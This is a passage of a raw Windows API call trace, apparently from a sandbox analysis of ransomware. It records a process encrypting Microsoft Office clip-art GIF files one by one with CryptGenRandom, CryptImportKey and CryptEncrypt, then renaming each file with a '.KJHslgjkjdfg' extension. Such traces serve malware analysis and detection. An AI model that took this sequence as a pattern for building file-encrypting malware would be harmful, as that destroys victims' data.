pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.552] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.552] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0153.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.554] GetProcessHeap () returned 0x2a0000 [0153.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.554] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.554] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.555] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.555] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.555] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.555] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.555] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.555] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1485, lpOverlapped=0x0) returned 1 [0153.558] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490, dwBufLen=0x1490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490) returned 1 [0153.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.558] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1490, lpOverlapped=0x0) returned 1 [0153.559] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.559] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.559] SetEndOfFile (hFile=0x114) returned 1 [0153.562] GetProcessHeap () returned 0x2a0000 [0153.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.562] GetProcessHeap () returned 0x2a0000 [0153.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.kjhslgjkjdfg")) returned 1 [0153.570] CloseHandle (hObject=0x114) returned 1 [0153.570] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0153.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.571] GetProcessHeap () returned 0x2a0000 [0153.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.571] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.574] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.574] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.574] GetProcessHeap () returned 0x2a0000 [0153.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.575] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.575] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.575] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.575] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.575] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa24, lpOverlapped=0x0) returned 1 [0153.576] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa30, dwBufLen=0xa30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa30) returned 1 [0153.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.576] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa30, lpOverlapped=0x0) returned 1 [0153.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.576] SetEndOfFile (hFile=0x114) returned 1 [0153.579] GetProcessHeap () returned 0x2a0000 [0153.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.579] GetProcessHeap () returned 0x2a0000 [0153.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.kjhslgjkjdfg")) returned 1 [0153.580] CloseHandle (hObject=0x114) returned 1 [0153.580] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0153.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.581] GetProcessHeap () returned 0x2a0000 [0153.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.581] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.581] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.582] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0153.584] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.584] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.584] GetProcessHeap () returned 0x2a0000 [0153.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.584] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.584] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.584] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.584] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.584] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.585] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.585] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.585] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x296f, lpOverlapped=0x0) returned 1 [0153.586] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2970, dwBufLen=0x2970 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2970) returned 1 [0153.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.586] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2970, lpOverlapped=0x0) returned 1 [0153.586] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.586] SetEndOfFile (hFile=0x114) returned 1 [0153.589] GetProcessHeap () returned 0x2a0000 [0153.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.589] GetProcessHeap () returned 0x2a0000 [0153.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.kjhslgjkjdfg")) returned 1 [0153.590] CloseHandle (hObject=0x114) returned 1 [0153.591] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0153.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.591] GetProcessHeap () returned 0x2a0000 [0153.591] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.591] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.591] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.594] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.594] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.594] GetProcessHeap () returned 0x2a0000 [0153.594] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.594] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.594] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.594] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.594] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.594] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.595] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.595] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.595] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.595] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3bcc, lpOverlapped=0x0) returned 1 [0153.596] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3bd0) returned 1 [0153.596] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.596] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3bd0, lpOverlapped=0x0) returned 1 [0153.597] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.597] SetEndOfFile (hFile=0x114) returned 1 [0153.599] GetProcessHeap () returned 0x2a0000 [0153.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.600] GetProcessHeap () returned 0x2a0000 [0153.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.kjhslgjkjdfg")) returned 1 [0153.601] CloseHandle (hObject=0x114) returned 1 [0153.601] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0153.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.601] GetProcessHeap () returned 0x2a0000 [0153.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.602] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.602] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0153.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.605] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.605] GetProcessHeap () returned 0x2a0000 [0153.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.605] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.605] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.605] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 